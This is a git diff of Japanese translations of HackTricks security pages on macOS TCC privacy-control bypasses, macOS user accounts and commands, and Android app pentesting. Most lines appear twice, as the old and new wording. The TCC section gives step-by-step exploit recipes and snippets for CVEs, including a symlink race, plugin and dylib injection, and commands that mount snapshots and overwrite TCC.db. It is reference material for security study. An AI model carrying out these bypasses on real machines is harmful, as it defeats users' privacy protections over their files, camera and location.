> 名前変更があなたが制御するフォルダにアクセスする場合、ソースファイルを変更したり、FDを持っている間に、宛先ファイル（またはフォルダ）をシンボリックリンクを指すように変更することで、いつでも書き込むことができます。
> 名前変更があなたが制御するフォルダにアクセスする場合、ソースファイルを変更したり、そのファイルにFDを持っている間に、宛先ファイル（またはフォルダ）をシンボリックリンクを指すように変更することで、いつでも書き込むことができます。
これがCVEでの攻撃でした：たとえば、ユーザーの`TCC.db`を上書きするために、次のようにします：
これがCVEでの攻撃でした：たとえば、ユーザーの`TCC.db`を上書きするために、次のことができます：
- `/Users/hacker/ourlink`を作成して`/Users/hacker/Library/Application Support/com.apple.TCC/`を指すようにします。
- ディレクトリ`/Users/hacker/tmp/`を作成します。
- `MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db`を設定します。
- このenv変数を使用して`Music`を実行してバグをトリガーします。
- `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX`（Xはランダム）の`open()`をキャッチします。
- ここで、このファイルをライティング用に`open()`し、ファイルディスクリプタを保持します。
- `/Users/hacker/tmp`を`/Users/hacker/ourlink`と**ループ内で原子的に切り替えます**。
- レースウィンドウが非常に狭いため、成功の可能性を最大化するためにこれを行いますが、レースに負けることのデメリットはほとんどありません。
- 少し待ちます。
- 運が良かったかテストします。
- そうでなければ、最初から再実行します。
- `/Users/hacker/ourlink`を作成して`/Users/hacker/Library/Application Support/com.apple.TCC/`を指すようにします
- ディレクトリ`/Users/hacker/tmp/`を作成します
- `MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db`を設定します
- このenv変数で`Music`を実行してバグをトリガーします
- `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX`の`open()`をキャッチします（Xはランダム）
- ここで、このファイルをライティング用に`open()`し、ファイルディスクリプタを保持します
- `/Users/hacker/tmp`を`/Users/hacker/ourlink`と**ループ内で原子的に切り替えます**
- レースウィンドウが非常に狭いため、成功の可能性を最大化するためにこれを行いますが、レースに負けることのデメリットはほとんどありません
- 少し待ちます
- 運が良かったかテストします
- そうでなければ、最初から再実行します
詳細は[https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html](https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html)を確認してください。
@ -244,7 +244,7 @@ TCCは、ユーザーのHOMEフォルダ内のデータベースを使用して
6. ユーザーの_tccd_を停止し、プロセスを再起動します。
2番目のPOCは、`/usr/libexec/configd`を使用し、`com.apple.private.tcc.allow`に`kTCCServiceSystemPolicySysAdminFiles`の値がありました。\
**`-t`**オプションで**`configd`**を実行することが可能で、攻撃者は**カスタムバンドルをロード**することができました。したがって、エクスプロイトは、ユーザーのホームディレクトリを変更するための**`dsexport`**および**`dsimport`**メソッドを**`configd`コードインジェクション**に置き換えます。
**`-t`**オプションで**`configd`**を実行することが可能で、攻撃者は**カスタムバンドルをロード**することを指定できました。したがって、エクスプロイトはユーザーのホームディレクトリを変更するための**`dsexport`**および**`dsimport`**メソッドを**`configd`コードインジェクション**に置き換えます。
詳細については、[**元の報告**](https://www.microsoft.com/en-us/security/blog/2022/01/10/new-macos-vulnerability-powerdir-could-lead-to-unauthorized-user-data-access/)を確認してください。
@ -257,21 +257,21 @@ TCCは、ユーザーのHOMEフォルダ内のデータベースを使用して
{{#endref}}
さらに、TCCをバイパスするために見つかった最も一般的なプロセスインジェクションは**プラグイン（ライブラリをロード）**です。\
プラグインは通常、ライブラリやplistの形で追加のコードであり、**メインアプリケーションによってロードされ**、そのコンテキストで実行されます。したがって、メインアプリケーションがTCC制限ファイルへのアクセス権を持っている場合（付与された権限または権利によって）、**カスタムコードもそれを持つことになります**。
プラグインは通常、ライブラリやplistの形での追加コードであり、**メインアプリケーションによってロードされ**、そのコンテキストで実行されます。したがって、メインアプリケーションがTCC制限ファイルへのアクセス権を持っている場合（付与された権限または権利を介して）、**カスタムコードもそれを持つことになります**。
### CVE-2020-27937 - Directory Utility
アプリケーション`/System/Library/CoreServices/Applications/Directory Utility.app`は、権限**`kTCCServiceSystemPolicySysAdminFiles`**を持ち、**`.daplug`**拡張子のプラグインをロードし、**ハードンされた**ランタイムを持っていませんでした。
このCVEを武器化するために、**`NFSHomeDirectory`**が**変更され**（前述の権限を悪用して）、ユーザーのTCCデータベースを**引き継ぐ**ことができるようにします。
このCVEを武器化するために、**`NFSHomeDirectory`**が**変更され**（前述の権限を悪用して）、ユーザーのTCCデータベースを引き継ぐことができるようにします。
詳細については、[**元の報告**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/)を確認してください。
### CVE-2020-29621 - Coreaudiod
バイナリ**`/usr/sbin/coreaudiod`**は、権限`com.apple.security.cs.disable-library-validation`と`com.apple.private.tcc.manager`を持っていました。最初のものは**コードインジェクションを許可**し、2番目は**TCCを管理する**アクセスを与えます。
バイナリ**`/usr/sbin/coreaudiod`**は、権限`com.apple.security.cs.disable-library-validation`と`com.apple.private.tcc.manager`を持っていました。最初の**コードインジェクションを許可**し、2番目は**TCCを管理する**アクセスを与えました。
このバイナリは、フォルダ`/Library/Audio/Plug-Ins/HAL`から**サードパーティプラグインをロード**することを許可しました。したがって、プラグインを**ロードし、TCC権限を悪用する**ことが可能でした。このPoC：
このバイナリは、フォルダ`/Library/Audio/Plug-Ins/HAL`から**サードパーティプラグイン**をロードすることを許可しました。したがって、次のPoCを使用して**プラグインをロードし、TCC権限を悪用する**ことが可能でした：
```objectivec
#import <Foundation/Foundation.h>
#import <Security/Security.h>
@ -304,7 +304,7 @@ exit(0);
Core Media I/Oを介してカメラストリームを開くシステムアプリケーション（**`kTCCServiceCamera`**を持つアプリ）は、`/Library/CoreMediaIO/Plug-Ins/DAL`にある**これらのプラグインをプロセス内で読み込みます**（SIP制限なし）。
そこに一般的な**コンストラクタ**を持つライブラリを保存するだけで、**コードを注入**することができます。
一般的な**コンストラクタ**を持つライブラリをそこに保存するだけで、**コードを注入**することができます。
いくつかのAppleアプリケーションがこれに対して脆弱でした。
@ -344,7 +344,7 @@ Executable=/Applications/Firefox.app/Contents/MacOS/firefox
### CVE-2023-26818 - Telegram
Telegram は **`com.apple.security.cs.allow-dyld-environment-variables`** と **`com.apple.security.cs.disable-library-validation`** の権限を持っていたため、カメラでの録画などの**権限にアクセスする**ために悪用することが可能でした。ペイロードは[**この書き込みで見つけることができます**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)。
Telegram は **`com.apple.security.cs.allow-dyld-environment-variables`** と **`com.apple.security.cs.disable-library-validation`** の権限を持っていたため、カメラでの録画などの**権限にアクセスするために悪用することが可能でした**。ペイロードは[**この書き込みで見つけることができます**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)。
環境変数を使用してライブラリをロードする方法に注意してください。**カスタム plist** が作成され、このライブラリを注入するために **`launchctl`** が使用されました：
```xml
@ -418,7 +418,7 @@ exploit_location]; task.standardOutput = pipe;
### CVE-2020-9771 - mount_apfs TCC バイパスと特権昇格
**任意のユーザー**（特権のないユーザーも含む）は、タイムマシンのスナップショットを作成してマウントし、そのスナップショットの**すべてのファイルにアクセス**できます。\
必要な**特権**は、使用するアプリケーション（`Terminal`など）が**フルディスクアクセス**（FDA）アクセス（`kTCCServiceSystemPolicyAllfiles`）を持つことであり、これは管理者によって付与される必要があります。
必要な**唯一の特権**は、使用するアプリケーション（例えば `Terminal`）が**フルディスクアクセス**（FDA）アクセス（`kTCCServiceSystemPolicyAllfiles`）を持つことであり、これは管理者によって付与される必要があります。
```bash
# Create snapshot
tmutil localsnapshot
@ -463,40 +463,48 @@ os.system("mkdir -p /tmp/mnt/Application\ Support/com.apple.TCC/")
os.system("cp /tmp/TCC.db /tmp/mnt/Application\ Support/com.apple.TCC/TCC.db")
os.system("hdiutil detach /tmp/mnt 1>/dev/null")
```
チェックしてください **フルエクスプロイト** は [**オリジナルの解説**](https://theevilbit.github.io/posts/cve-2021-30808/) にあります。
チェックしてください **完全なエクスプロイト** は [**元の解説**](https://theevilbit.github.io/posts/cve-2021-30808/) にあります。
### CVE-2024-40855
[元の解説](https://www.kandji.io/blog/macos-audit-story-part2) で説明されているように、このCVEは `diskarbitrationd` を悪用しました。
公開された `DiskArbitration` フレームワークの関数 `DADiskMountWithArgumentsCommon` がセキュリティチェックを実行しました。しかし、`diskarbitrationd` を直接呼び出すことでバイパスすることが可能であり、そのためにパス内で `../` 要素やシンボリックリンクを使用できます。
これにより、攻撃者は `diskarbitrationd` の権限 `com.apple.private.security.storage-exempt.heritable` により、任意の場所にマウントを行うことができました。
### asr
ツール **`/usr/sbin/asr`** は、TCC保護をバイパスしてディスク全体をコピーし、別の場所にマウントすることを可能にしました。
### 位置情報サービス
### Location Services
**`/var/db/locationd/clients.plist`** に第三のTCCデータベースがあり、**位置情報サービスにアクセスすることを許可されたクライアント**を示します。\
フォルダー **`/var/db/locationd/` はDMGマウントから保護されていなかった**ため、自分のplistをマウントすることが可能でした。
**`/var/db/locationd/clients.plist`** に第三のTCCデータベースがあり、**位置情報サービスにアクセスすることを許可されたクライアント** を示します。\
フォルダー **`/var/db/locationd/` はDMGマウントから保護されていなかった** ため、自分のplistをマウントすることが可能でした。
## スタートアップアプリによる
## By startup apps
{{#ref}}
../../../../macos-auto-start-locations.md
{{#endref}}
## grepによる
## By grep
いくつかの場面で、ファイルはメール、電話番号、メッセージなどの機密情報を保護されていない場所に保存します（これはAppleの脆弱性と見なされます）。
<figure><img src="../../../../../images/image (474).png" alt=""><figcaption></figcaption></figure>
## 合成クリック
## Synthetic Clicks
これはもう機能しませんが、[**過去には機能していました**](https://twitter.com/noarfromspace/status/639125916233416704/photo/1)**:**
<figure><img src="../../../../../images/image (29).png" alt=""><figcaption></figcaption></figure>
[**CoreGraphicsイベント**](https://objectivebythesea.org/v2/talks/OBTS_v2_Wardle.pdf)を使用した別の方法：
[**CoreGraphicsイベント**](https://objectivebythesea.org/v2/talks/OBTS_v2_Wardle.pdf) を使用した別の方法：
<figure><img src="../../../../../images/image (30).png" alt="" width="563"><figcaption></figcaption></figure>
## 参考
## Reference
- [**https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8**](https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8)
- [**https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/**](https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/)

34
src/macos-hardening/macos-security-and-privilege-escalation/macos-users.md
View File

@ -1,35 +1,33 @@
# macOS Users & External Accounts
# macOS ユーザーと外部アカウント
{{#include ../../banners/hacktricks-training.md}}
## Common Users
## 一般的なユーザー
- **Daemon**: User reserved for system daemons. The default daemon account names usually start with a "\_":
- **Daemon**: システムデーモン用に予約されたユーザー。デフォルトのデーモンアカウント名は通常「\_」で始まります：
```bash
_amavisd, _analyticsd, _appinstalld, _appleevents, _applepay, _appowner, _appserver, _appstore, _ard, _assetcache, _astris, _atsserver, _avbdeviced, _calendar, _captiveagent, _ces, _clamav, _cmiodalassistants, _coreaudiod, _coremediaiod, _coreml, _ctkd, _cvmsroot, _cvs, _cyrus, _datadetectors, _demod, _devdocs, _devicemgr, _diskimagesiod, _displaypolicyd, _distnote, _dovecot, _dovenull, _dpaudio, _driverkit, _eppc, _findmydevice, _fpsd, _ftp, _fud, _gamecontrollerd, _geod, _hidd, _iconservices, _installassistant, _installcoordinationd, _installer, _jabber, _kadmin_admin, _kadmin_changepw, _knowledgegraphd, _krb_anonymous, _krb_changepw, _krb_kadmin, _krb_kerberos, _krb_krbtgt, _krbfast, _krbtgt, _launchservicesd, _lda, _locationd, _logd, _lp, _mailman, _mbsetupuser, _mcxalr, _mdnsresponder, _mobileasset, _mysql, _nearbyd, _netbios, _netstatistics, _networkd, _nsurlsessiond, _nsurlstoraged, _oahd, _ondemand, _postfix, _postgres, _qtss, _reportmemoryexception, _rmd, _sandbox, _screensaver, _scsd, _securityagent, _softwareupdate, _spotlight, _sshd, _svn, _taskgated, _teamsserver, _timed, _timezone, _tokend, _trustd, _trustevaluationagent, _unknown, _update_sharing, _usbmuxd, _uucp, _warmd, _webauthserver, _windowserver, _www, _wwwproxy, _xserverdocs
```
- **Guest**: Account for guests with very strict permissions
```bash
_amavisd, _analyticsd, _appinstalld, _appleevents, _applepay, _appowner, _appserver, _appstore, _ard, _assetcache, _astris, _atsserver, _avbdeviced, _calendar, _captiveagent, _ces, _clamav, _cmiodalassistants, _coreaudiod, _coremediaiod, _coreml, _ctkd, _cvmsroot, _cvs, _cyrus, _datadetectors, _demod, _devdocs, _devicemgr, _diskimagesiod, _displaypolicyd, _distnote, _dovecot, _dovenull, _dpaudio, _driverkit, _eppc, _findmydevice, _fpsd, _ftp, _fud, _gamecontrollerd, _geod, _hidd, _iconservices, _installassistant, _installcoordinationd, _installer, _jabber, _kadmin_admin, _kadmin_changepw, _knowledgegraphd, _krb_anonymous, _krb_changepw, _krb_kadmin, _krb_kerberos, _krb_krbtgt, _krbfast, _krbtgt, _launchservicesd, _lda, _locationd, _logd, _lp, _mailman, _mbsetupuser, _mcxalr, _mdnsresponder, _mobileasset, _mysql, _nearbyd, _netbios, _netstatistics, _networkd, _nsurlsessiond, _nsurlstoraged, _oahd, _ondemand, _postfix, _postgres, _qtss, _reportmemoryexception, _rmd, _sandbox, _screensaver, _scsd, _securityagent, _softwareupdate, _spotlight, _sshd, _svn, _taskgated, _teamsserver, _timed, _timezone, _tokend, _trustd, _trustevaluationagent, _unknown, _update_sharing, _usbmuxd, _uucp, _warmd, _webauthserver, _windowserver, _www, _wwwproxy, _xserverdocs
```
- **Guest**: 非常に厳しい権限を持つゲスト用アカウント
```bash
state=("automaticTime" "afpGuestAccess" "filesystem" "guestAccount" "smbGuestAccess")
for i in "${state[@]}"; do sysadminctl -"${i}" status; done;
```
- **Nobody**: Processes are executed with this user when minimal permissions are required
- **Nobody**: 最小限の権限が必要なときにこのユーザーでプロセスが実行されます
- **Root**
## User Privileges
## ユーザープリビレッジ
- **Standard User:** The most basic of users. This user needs permissions granted from an admin user when attempting to install software or perform other advanced tasks. They are not able to do it on their own.
- **Admin User**: A user who operates most of the time as a standard user but is also allowed to perform root actions such as install software and other administrative tasks. All users belonging to the admin group are **given access to root via the sudoers file**.
- **Root**: Root is a user allowed to perform almost any action (there are limitations imposed by protections like System Integrity Protection).
- For example root won't be able to place a file inside `/System`
- **標準ユーザー:** 最も基本的なユーザー。このユーザーは、ソフトウェアをインストールしたり、他の高度なタスクを実行しようとする際に、管理者ユーザーから権限を付与される必要があります。自分自身ではそれを行うことができません。
- **管理者ユーザー**: 大部分の時間を標準ユーザーとして操作しますが、ソフトウェアのインストールやその他の管理タスクなどのrootアクションを実行することも許可されています。管理者グループに属するすべてのユーザーは**sudoersファイルを介してrootにアクセスが与えられます**。
- **Root**: Rootはほぼすべてのアクションを実行することが許可されているユーザーです（System Integrity Protectionのような保護によって制限があります）。
- 例えば、rootは`/System`内にファイルを置くことができません。
## External Accounts
## 外部アカウント
MacOS also support to login via external identity providers such as FaceBook, Google... The main daemon performing this job is `accountsd` (`/System/Library/Frameworks/Accounts.framework//Versions/A/Support/accountsd`) and it's possible to find plugins used for external authentication inside the folder `/System/Library/Accounts/Authentication/`.\
Moreover, `accountsd` gets the list of account types from `/Library/Preferences/SystemConfiguration/com.apple.accounts.exists.plist`.
MacOSは、FaceBookやGoogleなどの外部アイデンティティプロバイダーを介してログインすることもサポートしています。この作業を行う主なデーモンは`accountsd`（`/System/Library/Frameworks/Accounts.framework//Versions/A/Support/accountsd`）であり、外部認証に使用されるプラグインは`/System/Library/Accounts/Authentication/`フォルダー内にあります。\
さらに、`accountsd`は`/Library/Preferences/SystemConfiguration/com.apple.accounts.exists.plist`からアカウントタイプのリストを取得します。
{{#include ../../banners/hacktricks-training.md}}

27
src/macos-hardening/macos-useful-commands.md
View File

@ -1,15 +1,11 @@
# macOS Useful Commands
# macOS 有用なコマンド
{{#include ../banners/hacktricks-training.md}}
### MacOS Automatic Enumeration Tools
### MacOS 自動列挙ツール
- **MacPEAS**: [https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)
- **Metasploit**: [https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/gather/enum_osx.rb](https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/gather/enum_osx.rb)
- **SwiftBelt**: [https://github.com/cedowens/SwiftBelt](https://github.com/cedowens/SwiftBelt)
### Specific MacOS Commands
- **Metasploit**: [
```bash
#System info
date
@ -111,25 +107,21 @@ sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist (enable ssh)
sudo launchctl unload /System/Library/LaunchDaemons/ssh.plist (disable ssh)
#Start apache
sudo apachectl (start|status|restart|stop)
##Web folder: /Library/WebServer/Documents/
##Web folder: /Library/WebServer/Documents/
#Remove DNS cache
dscacheutil -flushcache
sudo killall -HUP mDNSResponder
```
### インストールされたソフトウェアとサービス
### Installed Software & Services
Check for **suspicious** applications installed and **privileges** over the.installed resources:
インストールされたリソースに対する**疑わしい**アプリケーションと**権限**を確認します:
```
system_profiler SPApplicationsDataType #Installed Apps
system_profiler SPFrameworksDataType #Instaled framework
lsappinfo list #Installed Apps
launchctl list #Services
```
### User Processes
### ユーザープロセス
```bash
# will print all the running services under that particular user domain.
launchctl print gui/<users UID>
@ -140,10 +132,9 @@ launchctl print system
# will print detailed information about the specific launch agent. And if it’s not running or you’ve mistyped, you will get some output with a non-zero exit code: Could not find service “com.company.launchagent.label” in domain for login
launchctl print gui/<user's UID>/com.company.launchagent.label
```
### ユーザーを作成する
### Create a user
Without prompts
プロンプトなし
<figure><img src="../images/image (79).png" alt=""><figcaption></figcaption></figure>

186
src/mobile-pentesting/android-app-pentesting/README.md
View File

@ -2,24 +2,9 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="../../images/image (3).png" alt=""><figcaption></figcaption></figure>
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう！
**Hacking Insights**\
ハッキングのスリルと課題に深く掘り下げたコンテンツに参加しましょう
**Real-Time Hack News**\
リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界に遅れずについていきましょう
**Latest Announcements**\
新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得ましょう
[**Discord**](https://discord.com/invite/N3FrSbmwdy) に参加して、今日からトップハッカーとコラボレーションを始めましょう！
## Android Applications Basics
このページを読み始めて、**Androidセキュリティに関連する最も重要な部分とAndroidアプリケーションの最も危険なコンポーネント**について知ることを強くお勧めします：
このページを読むことを強くお勧めします。**Androidのセキュリティに関連する最も重要な部分と、Androidアプリケーションの最も危険なコンポーネント**について知るためです：
{{#ref}}
android-applications-basics.md
@ -27,15 +12,15 @@ android-applications-basics.md
## ADB (Android Debug Bridge)
これは、Androidデバイス（エミュレートまたは物理）に接続するために必要な主なツールです。\
**ADB**は、コンピュータから**USB**または**ネットワーク**経由でデバイスを制御することを可能にします。このユーティリティは、ファイルの**コピー**、アプリの**インストール**と**アンインストール**、シェルコマンドの**実行**、データの**バックアップ**、ログの**読み取り**など、さまざまな機能を提供します。
これは、Androidデバイス（エミュレートされたものまたは物理的なもの）に接続するために必要な主なツールです。\
**ADB**は、コンピュータから**USB**または**ネットワーク**経由でデバイスを制御することを可能にします。このユーティリティは、**ファイルのコピー**、**アプリのインストール**と**アンインストール**、**シェルコマンドの実行**、**データのバックアップ**、**ログの読み取り**など、さまざまな機能を提供します。
adbの使い方を学ぶために、以下の[**ADB Commands**](adb-commands.md)のリストを見てください。
adbの使い方を学ぶために、以下の[**ADB Commands**](adb-commands.md)のリストを確認してください。
## Smali
時には、**隠された情報**（おそらくよく難読化されたパスワードやフラグ）にアクセスするために**アプリケーションコードを修正する**ことが興味深い場合があります。そのため、apkを逆コンパイルし、コードを修正して再コンパイルすることが興味深いかもしれません。\
[**このチュートリアルでは、APKを逆コンパイルし、Smaliコードを修正して、新しい機能を持つAPKを再コンパイルする方法を学ぶことができます**](smali-changes.md)。これは、**動的分析中に提示されるいくつかのテストの代替手段として非常に役立つ可能性があります**。したがって、**この可能性を常に念頭に置いておいてください**。
時には、**隠された情報**（おそらくよく難読化されたパスワードやフラグ）にアクセスするために、**アプリケーションコードを修正する**ことが興味深い場合があります。そのため、apkを逆コンパイルし、コードを修正して再コンパイルすることが興味深いかもしれません。\
[**このチュートリアルでは、APKを逆コンパイルし、Smaliコードを修正して、新しい機能を持つAPKを再コンパイルする方法を学ぶことができます**](smali-changes.md)。これは、**動的分析中に提示されるいくつかのテストの代替手段として非常に役立つ**可能性があります。したがって、**この可能性を常に念頭に置いておいてください**。
## Other interesting tricks
@ -79,11 +64,11 @@ APKの**文字列**を確認するだけで、**パスワード**、**URL** ([ht
**Manifest.xml**から特定された**脆弱性**には以下が含まれます：
- **デバッグ可能なアプリケーション**: _Manifest.xml_ファイルでデバッグ可能として設定されたアプリケーション（`debuggable="true"`）は、接続を許可するため、悪用のリスクがあります。デバッグ可能なアプリケーションを見つけて悪用する方法については、デバイス上でのチュートリアルを参照してください。
- **デバッグ可能なアプリケーション**: _Manifest.xml_ファイルでデバッグ可能として設定されたアプリケーション（`debuggable="true"`）は、接続を許可するため、悪用のリスクがあります。デバッグ可能なアプリケーションを見つけて悪用する方法については、デバイス上のデバッグ可能なアプリケーションを見つけて悪用するチュートリアルを参照してください。
- **バックアップ設定**: 機密情報を扱うアプリケーションには、`android:allowBackup="false"`属性を明示的に設定して、特にUSBデバッグが有効な場合にadbを介した不正なデータバックアップを防ぐ必要があります。
- **ネットワークセキュリティ**: _res/xml/_内のカスタムネットワークセキュリティ構成（`android:networkSecurityConfig="@xml/network_security_config"`）は、証明書ピンやHTTPトラフィック設定などのセキュリティ詳細を指定できます。特定のドメインに対してHTTPトラフィックを許可することが一例です。
- **エクスポートされたアクティビティとサービス**: マニフェスト内のエクスポートされたアクティビティとサービスを特定することで、悪用される可能性のあるコンポーネントを明らかにできます。動的テスト中のさらなる分析により、これらのコンポーネントを悪用する方法が明らかになります。
- **コンテンツプロバイダーとファイルプロバイダー**: 公開されたコンテンツプロバイダーは、不正なアクセスやデータの変更を許可する可能性があります。ファイルプロバイダーの構成も注意深く確認する必要があります。
- **ネットワークセキュリティ**: _res/xml/_内のカスタムネットワークセキュリティ構成（`android:networkSecurityConfig="@xml/network_security_config"`）は、証明書ピンやHTTPトラフィック設定などのセキュリティ詳細を指定できます。例として、特定のドメインに対してHTTPトラフィックを許可することがあります。
- **エクスポートされたアクティビティとサービス**: マニフェスト内のエクスポートされたアクティビティとサービスを特定することで、悪用される可能性のあるコンポーネントを明らかにできます。動的テスト中のさらなる分析により、これらのコンポーネントを悪用する方法が明らかになる可能性があります。
- **コンテンツプロバイダーとファイルプロバイダー**: 公開されたコンテンツプロバイダーは、不正なアクセスやデータの変更を許可する可能性があります。ファイルプロバイダーの設定も注意深く確認する必要があります。
- **ブロードキャストレシーバーとURLスキーム**: これらのコンポーネントは悪用される可能性があり、特に入力脆弱性に対するURLスキームの管理方法に注意を払う必要があります。
- **SDKバージョン**: `minSdkVersion`、`targetSDKVersion`、および`maxSdkVersion`属性は、サポートされているAndroidバージョンを示し、セキュリティ上の理由から古い脆弱なAndroidバージョンをサポートしないことの重要性を強調します。
@ -91,8 +76,8 @@ APKの**文字列**を確認するだけで、**パスワード**、**URL** ([ht
### タップジャッキング
**タップジャッキング**は、**悪意のある** **アプリケーション**が起動され、**被害者アプリケーションの上に位置する**攻撃です。被害者アプリを視覚的に隠すと、そのユーザーインターフェースはユーザーを騙してそれと対話させるように設計されており、実際には被害者アプリに対する操作を渡しています。\
実際には、**ユーザーが被害者アプリで実際に操作を行っていることを知らないようにしています**。
**タップジャッキング**は、**悪意のある** **アプリケーション**が起動され、**被害者アプリケーションの上に位置する**攻撃です。被害者アプリを視覚的に隠すと、そのユーザーインターフェースはユーザーを騙してそれと対話させるように設計されており、実際には被害者アプリに対する対話を渡しています。\
実際には、**ユーザーが被害者アプリで実際にアクションを実行していることを知らないようにしています**。
詳細情報は以下を参照してください：
@ -114,10 +99,10 @@ android-task-hijacking.md
**内部ストレージ**
Androidでは、**内部**ストレージに**保存された**ファイルは、**作成した**アプリケーションのみが**アクセスできる**ように**設計されています**。このセキュリティ対策はAndroidオペレーティングシステムによって**強制され**、ほとんどのアプリケーションのセキュリティニーズには一般的に十分です。しかし、開発者は時折、`MODE_WORLD_READABLE`や`MODE_WORLD_WRITABLE`などのモードを利用して、ファイルを異なるアプリケーション間で**共有**できるようにします。しかし、これらのモードは、他のアプリケーション（潜在的に悪意のあるものを含む）によるこれらのファイルへのアクセスを**制限しません**。
Androidでは、**内部**ストレージに**保存された**ファイルは、**作成した**アプリケーションのみが**アクセスできる**ように**設計されています**。このセキュリティ対策はAndroidオペレーティングシステムによって**強制され**、ほとんどのアプリケーションのセキュリティニーズには一般的に適切です。しかし、開発者は時折、`MODE_WORLD_READABLE`や`MODE_WORLD_WRITABLE`などのモードを利用して、ファイルを異なるアプリケーション間で**共有**できるようにします。しかし、これらのモードは、他のアプリケーション（潜在的に悪意のあるものを含む）によるこれらのファイルへのアクセスを**制限しません**。
1. **静的分析:**
- `MODE_WORLD_READABLE`および`MODE_WORLD_WRITABLE`の使用が**注意深く検討されるべきです**。これらのモードは、**意図しないまたは不正なアクセス**にファイルを**さらす可能性があります**。
- `MODE_WORLD_READABLE`および`MODE_WORLD_WRITABLE`の使用が**注意深く精査されるべきです**。これらのモードは、**意図しないまたは不正なアクセス**にファイルを**さらす可能性があります**。
2. **動的分析:**
- アプリによって作成されたファイルに設定された**権限**を**確認**します。特に、ファイルが**全世界に対して読み取りまたは書き込み可能に設定されているかどうかを確認**します。これは重大なセキュリティリスクを引き起こす可能性があり、デバイスにインストールされた**任意のアプリケーション**が、出所や意図に関係なく、これらのファイルを**読み取ったり変更したり**できるようになります。
@ -132,7 +117,7 @@ Androidでは、**内部**ストレージに**保存された**ファイルは
- 外部ストレージは取り外し可能であり、任意のアプリケーションによってアクセスされる可能性があるため、セキュリティが低下します。
3. **外部ストレージからのデータ処理**:
- 外部ストレージから取得したデータに対しては常に**入力検証を行う**必要があります。これは、データが信頼できないソースからのものであるため、重要です。
- 動的に読み込むために外部ストレージに実行可能ファイルやクラスファイルを保存することは強く推奨されません。
- 動的読み込みのために外部ストレージに実行可能ファイルやクラスファイルを保存することは強く推奨されません。
- アプリケーションが外部ストレージから実行可能ファイルを取得する必要がある場合、これらのファイルが**署名され、暗号的に検証されていることを確認**してから動的に読み込む必要があります。このステップは、アプリケーションのセキュリティの整合性を維持するために重要です。
外部ストレージは`/storage/emulated/0`、`/sdcard`、`/mnt/sdcard`で**アクセス可能**です。
@ -160,17 +145,17 @@ A good way to test this is to try to capture the traffic using some proxy like B
**Poor Key Management Processes**
一部の開発者は、ローカルストレージに機密データを保存し、コード内にハードコーディングされた/予測可能なキーで暗号化します。これは行うべきではなく、リバースエンジニアリングにより攻撃者が機密情報を抽出できる可能性があります。
一部の開発者は、機密データをローカルストレージに保存し、コード内にハードコーディングされた/予測可能なキーで暗号化します。これは、リバースエンジニアリングにより攻撃者が機密情報を抽出できる可能性があるため、行うべきではありません。
**Use of Insecure and/or Deprecated Algorithms**
開発者は、認証チェック、データの保存または送信を行うために**非推奨のアルゴリズム**を使用すべきではありません。これらのアルゴリズムには、RC4、MD4、MD5、SHA1などがあります。例えば、パスワードを保存するために**ハッシュ**が使用される場合、ソルトを使用したハッシュのブルートフォース**耐性**が必要です。
開発者は、認証チェック、データの保存または送信を行うために**非推奨のアルゴリズム**を使用すべきではありません。これらのアルゴリズムには、RC4、MD4、MD5、SHA1などがあります。例えば、パスワードを保存するために**ハッシュ**が使用される場合、ソルトを使用したハッシュのブルートフォース耐性が必要です。
### Other checks
- APKを**難読化する**ことを推奨します。これにより、攻撃者のリバースエンジニアリング作業が困難になります。
- アプリが機密性が高い場合（銀行アプリなど）、**モバイルがルート化されているかどうかを確認する独自のチェックを実行**し、適切に対処する必要があります。
- アプリが機密性が高い場合（銀行アプリなど）、**エミュレーター**が使用されているかどうかを確認する必要があります。
- アプリが機密性が高い場合（銀行アプリなど）、**エミュレーターが使用されているかどうかを確認**する必要があります。
- アプリが機密性が高い場合（銀行アプリなど）、**実行前に自身の整合性を確認**し、変更されていないかを確認する必要があります。
- [**APKiD**](https://github.com/rednaga/APKiD)を使用して、APKをビルドするために使用されたコンパイラ/パッカー/難読化ツールを確認します。
@ -225,21 +210,6 @@ content-protocol.md
---
<figure><img src="../../images/image (3).png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
---
## Dynamic Analysis
@ -296,7 +266,7 @@ You need to activate the **debugging** options and it will be cool if you can **
**Logging**
開発者は、**デバッグ情報**を公開することに注意すべきです。これは機密データの漏洩につながる可能性があります。アプリケーションログを監視して機密情報を特定し保護するために、[**pidcat**](https://github.com/JakeWharton/pidcat)と`adb logcat`が推奨されます。**Pidcat**は使いやすさと可読性のために好まれます。
